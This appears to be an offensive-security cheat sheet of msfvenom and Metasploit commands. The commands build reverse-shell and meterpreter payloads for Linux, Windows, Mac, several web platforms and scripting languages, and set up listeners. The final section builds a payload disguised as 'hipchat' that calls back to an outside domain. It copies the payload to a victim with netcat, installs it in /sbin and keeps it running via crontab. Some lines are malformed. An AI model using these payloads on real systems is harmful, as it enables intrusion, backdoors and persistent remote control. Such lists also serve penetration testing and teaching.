127 lines
3.7 KiB
Plaintext
127 lines
3.7 KiB
Plaintext
C0nn3ctz msfvenom payload backdoor veil
|
||
|
||
List payloads
|
||
msfvenom -l
|
||
|
||
# The script way to make life more simple
|
||
theip=0.0.0.0
|
||
theport=443
|
||
|
||
|
||
Binaries and libs
|
||
=================
|
||
|
||
Linux
|
||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f elf > shell.elf
|
||
msfvenom -p linux/x64/shell/reverse_tcp LHOST=$theip LPORT=$theport -f elf > shell.elf
|
||
|
||
Windows
|
||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f exe > shell.exe
|
||
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$theip LPORT=$theport -f exe -o shell.exe # STAGED, use this with msf
|
||
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=$theip LPORT=$theport -f exe -o shell.exe # NON-STAGED
|
||
msfvenom -p windows/x64/exec cmd="cmd /c calc.exe" -f dll > d3d9.dll
|
||
msfvenom -p windows/exec CMD="cmd /c calc.exe" -f dll > d3d9.dll
|
||
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=$theip LPORT=$theport
|
||
|
||
Mac
|
||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$theip LPORT=$theport -f macho > shell.macho
|
||
|
||
|
||
|
||
Web Payloads
|
||
============
|
||
|
||
PHP
|
||
msfvenom -p php/meterpreter_reverse_tcp LHOST=$theip LPORT=$theport -f raw > shell.php
|
||
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
||
|
||
ASP
|
||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f asp > shell.asp
|
||
|
||
JSP
|
||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$theip LPORT=$theport -f raw > shell.jsp
|
||
|
||
WAR
|
||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$theip LPORT=$theport -f war > shell.war
|
||
|
||
JavaScript
|
||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=1 -f js_le
|
||
|
||
|
||
|
||
Scripting Payloads
|
||
==================
|
||
|
||
Python
|
||
msfvenom -p cmd/unix/reverse_python LHOST=$theip LPORT=$theport -f raw > shell.py
|
||
|
||
Bash
|
||
msfvenom -p cmd/unix/reverse_bash LHOST=$theip LPORT=$theport -f raw > shell.sh
|
||
|
||
Perl
|
||
msfvenom -p cmd/unix/reverse_perl LHOST=$theip LPORT=$theport -f raw > shell.pl # For Linux
|
||
msfvenom -p cmd/windows/reverse_perl=$theip LPORT=$theport -f raw > shell.pl # For Windows
|
||
|
||
|
||
|
||
Shellcode
|
||
=========
|
||
|
||
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
|
||
|
||
Linux Based Shellcode
|
||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f <language>
|
||
|
||
Windows Based Shellcode
|
||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f <language>
|
||
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=443 -f c
|
||
msfvenom -p windows/shell/bind_tcp -f perl --smallest # Default port is 4444 and with --smallest msfvenom tries to make it small
|
||
|
||
Mac Based Shellcode
|
||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$theip LPORT=$theport -f <language>
|
||
|
||
|
||
|
||
Handler
|
||
=======
|
||
|
||
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
|
||
|
||
use exploit/multi/handler
|
||
set PAYLOAD cmd/windows/powershell_reverse_tcp
|
||
set LHOST 0.0.0.0
|
||
set LPORT 443
|
||
set ExitOnSession false
|
||
exploit -j -z
|
||
|
||
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
|
||
|
||
|
||
|
||
Persistence
|
||
===========
|
||
meterpreter > run persistence
|
||
|
||
|
||
|
||
UUID Payload
|
||
============
|
||
|
||
# Create payload
|
||
msfvenom -p linux/x86/meterpreter/reverse_tcp_uuid LHOST=domainzz.com LPORT=53 PayloadUUIDTracking=true PayloadUUIDName=HAXHAXHAXHAX -f elf > hipchat
|
||
|
||
# Setup msf listener
|
||
set payload linux/x86/meterpreter/reverse_tcp_uuid
|
||
set payloadUUIDName HAXHAXHAXHAX
|
||
set PayloadUUIDTracking true
|
||
run -j
|
||
|
||
# Move to vict
|
||
cat hipchat.elf |ncat --ssl -lvp 53
|
||
nc --ssl domainzz.com 53 > /sbin/lister
|
||
chmod +x /sbin/lister
|
||
|
||
# crontab alternatively:
|
||
if ps aux|grep /sbin/hipchat |grep -v grep; then sleep 1 ; else /sbin/hipchat ; fi
|
||
|